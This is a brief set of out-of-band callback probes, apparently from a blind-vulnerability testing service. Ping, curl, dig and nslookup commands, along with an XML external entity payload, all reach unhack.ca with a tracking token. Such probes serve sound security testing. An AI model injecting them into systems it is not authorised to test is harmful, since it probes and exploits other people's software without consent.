$ ping -c1 -p 00557236e568509a95500c32dfb3a400 unhack.ca
 

$ curl http://unhack.ca/p/557236e568509a95500c32dfb3a4
 

$ dig 557236e568509a95500c32dfb3a4 @unhack.ca
 

$ dig 557236e568509a95500c32dfb3a4.ns.unhack.ca
 

C:\> nslookup 557236e568509a95500c32dfb3a4 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/557236e568509a95500c32dfb3a4">]>
    <foo>&xxe;</foo>